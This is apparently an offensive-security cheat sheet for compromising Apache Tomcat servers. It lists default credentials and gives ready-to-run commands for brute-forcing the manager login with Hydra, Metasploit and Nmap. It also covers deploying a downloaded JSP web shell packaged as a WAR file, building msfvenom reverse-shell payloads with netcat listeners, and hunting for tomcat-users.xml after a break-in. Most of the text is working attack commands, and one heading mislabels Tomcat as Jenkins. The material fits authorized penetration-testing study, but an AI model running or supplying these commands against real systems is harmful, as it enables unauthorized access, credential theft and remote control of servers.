Introduction¶
Apache Tomcat is an open-source Java servlet container and web server, it's a key target due to its role in hosting Java-based web applications, often presenting opportunities to exploit configuration flaws and known vulnerabilities.
Identifying Jenkins Version¶
- Check version in documentation page:
curl -s http://[TOMCAT-DOMAIN]:8080/docs/ | grep Tomcat - Obtain version from default error page:
curl -s http://[TOMCAT-DOMAIN]:8080/nonexistentpage | grep -i tomcat - Obtain version using Nmap:
nmap -p 8080 --script http-server-header [TOMCAT-DOMAIN]
Directory Discovery¶
- Directory Fuzzing with FFUF:
ffuf -u https://[TOMCAT-DOMAIN]/FUZZ -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt - Directory Fuzzing with Gobuster:
gobuster dir -u https://[TOMCAT-DOMAIN] -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt - Directory Fuzzing with Wfuzz:
wfuzz -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt https://[TOMCAT-DOMAIN]/FUZZ
Default Credentials¶
admin:admintomcat:tomcatadmin:admin:s3cr3ttomcat:s3cr3tadmin:tomcat
Brute-Force Apache Tomcat Credentials¶
- Credential Brute-Forcing with Metasploit:
use auxiliary/scanner/http/tomcat_mgr_login - Credential Brute-Forcing with Hydra:
hydra -L userlist.txt -P passlist.txt [TOMCAT-URL] http-post-form "/manager/html:username=^[USER]^&password=^[PASS]^&Login=Login:Invalid credentials" -t 10 - Credential Brute-Forcing with Nmap:
nmap -p 8080 --script http-brute --script-args http-brute.path=/manager/html,userdb=userlist.txt,passdb=passlist.txt [TOMCAT-URL]
Remote Code Execution (RCE)¶
- Download JSP shell using wget:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp - Package shell into WAR file
jar -cvf MyShell.war * - Upload the MyShell.war to Tomcat using either the manager GUI or a tool like curl:
curl -u admin:password -T MyShell.war http://[TOMCAT-DOMAIN]:8080/manager/text/deploy?path=/myshell - Access the Shell
http://[TOMCAT-DOMAIN]:8080/myshell/cmd.jsp
Reverse Shell Using Metasploit¶
- Create war File
msfvenom -p windows/shell_reverse_tcp LHOST=[IP-ADRESS] LPORT=9002 -f war > MyShell.war - List WAR contents.
jar -ft MyShell.war - Upload the MyShell.war to Tomcat using either the manager GUI or a tool like curl:
curl -u admin:password -T MyShell.war http://[TOMCAT-DOMAIN]:8080/manager/text/deploy?path=/myshell - Start Netcat to receive reverse shell
nc -lnvp 9002 - trigger reverse shell using curl
curl http://[TOMCAT-DOMAIN]:8080/myshell/orkmagcvdm.jsp
Using Metasploit¶
- Start Metasploit Framework:
msfconsole - Select the Tomcat RCE exploit module:
msf> use exploit/multi/http/tomcat_mgr_upload - Create the WAR file:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[IP-ADDRESS] LPORT=80 -f war -o shell.war - Upload the WAR file to the Tomcat server:
curl --upload-file shell.war -u 'tomcat:password' "https://[TOMCAT-DOMAIN]/manager/text/deploy?path=/shell" - Starting a Listener on the Local Machine:
sudo nc -lvnp 80 - Accessing the Shell:
https://[TOMCAT-DOMAIN]/shell
Post Exploit¶
- Find Tomcat credentials in tomcat-users.xml:
find / -name tomcat-users.xml 2>/dev/null - Gather Tomcat credentials with Metasploit:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat